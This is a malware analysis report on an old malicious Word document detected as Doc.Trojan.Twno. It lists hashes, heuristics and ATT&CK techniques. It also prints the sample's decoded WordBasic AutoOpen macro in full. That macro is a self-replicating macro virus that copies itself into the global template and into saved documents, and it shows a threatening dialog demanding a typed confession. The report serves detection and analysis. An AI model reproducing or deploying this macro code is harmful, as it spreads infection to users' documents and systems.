Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3f2c2186a0ea409…

MALICIOUS

Office (OLE)

116.0 KB Created: 1998-10-18 19:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e40e35ee4cb20beed24a99344400279d SHA-1: 3b0fe21f0fb22f1431caebd4dccacdbb9572954d SHA-256: e3f2c2186a0ea4094bd36e7e3a7fd875314657fe3976eb309940af3a1dc39c3a
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The macro presents a fake dialog box to the user, attempting to trick them into further interaction. The presence of embedded URLs suggests a potential download or redirection mechanism. The ClamAV detections further confirm the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.healthcg.com/hiv/confs/ICAAC98/ In document text (OLE body)
    • http://www.foro-vih.org/gtt.htmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2469 bytes
SHA-256: b32d4a04ce742ec1d8cc6ae92d57b86295ba2225c731ee8a126228f7255ce81f
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim thishour
Dim thishuor
Dim dlg As Object
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
thishour = WordBasic.Hour(WordBasic.Now())
If thishuor = 20 Then
    WordBasic.BeginDialog 320, 144, "СÐÄ"
        WordBasic.Text 10, 10, 101, 13, "Á¢¼´ÕýÈ·ÊäÈë:", "Text4"
        WordBasic.Text 61, 28, 101, 13, "ÎÒÓÐ×ï!ÎÒ´íÁË!ÈÄÁËÎÒ°É!", "Text2"
        WordBasic.Text 21, 48, 171, 13, "·ñÔò,ÄãµÄÎĵµ½«±»É¾³ý!", "Text3"
        WordBasic.TextBox 54, 90, 239, 18, "WMH"
        WordBasic.OKButton 95, 112, 88, 21
    WordBasic.EndDialog
    Set dlg = WordBasic.CurValues.UserDialog
    WordBasic.Dialog.UserDialog dlg
    
    If dlg.wmh <> "ÎÒÓÐ×ï!ÎÒ´íÁË!ÈÄÁËÎÒ°É!" And dlg.wmh <> "wmh" Then
        WordBasic.MsgBox "ÊäÈë´íÎó,ÔÙ¸øÄãÒ»´Î»ú»á¡£ÔÙ³ö´í£ººÙºÙ....", "СÐÄ!", 48
        WordBasic.Dialog.UserDialog dlg
    Else
        WordBasic.MsgBox "ºÃÁË,ÈÄÁËÄã,¼ÌÐø....", "·Å¹ý!", 48
        GoTo eeend
    End If
    If dlg.wmh = "ÎÒÓÐ×ï!ÎÒ´íÁË!ÈÄÁËÎÒ°É!" Or dlg.wmh = "wmh" Then
        WordBasic.MsgBox "ºÃÁË,ÈÄÁËÄã,¼ÌÐø....", "·Å¹ý!", 48
    Else
        WordBasic.MsgBox "ÏÅÄãµÄ....¹þ¹þ¹þ", "ÓÐ×ï!", 48
    End If
eeend:
End If
'   file$ = FileName$()
'   filem$ = file$ + ":AutoOpen"
'   MacroCopy filem$, "AutoOpen"

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    On Error Resume Next
    WordBasic.MacroCopy "AutoOpen", filem$
End If

End Sub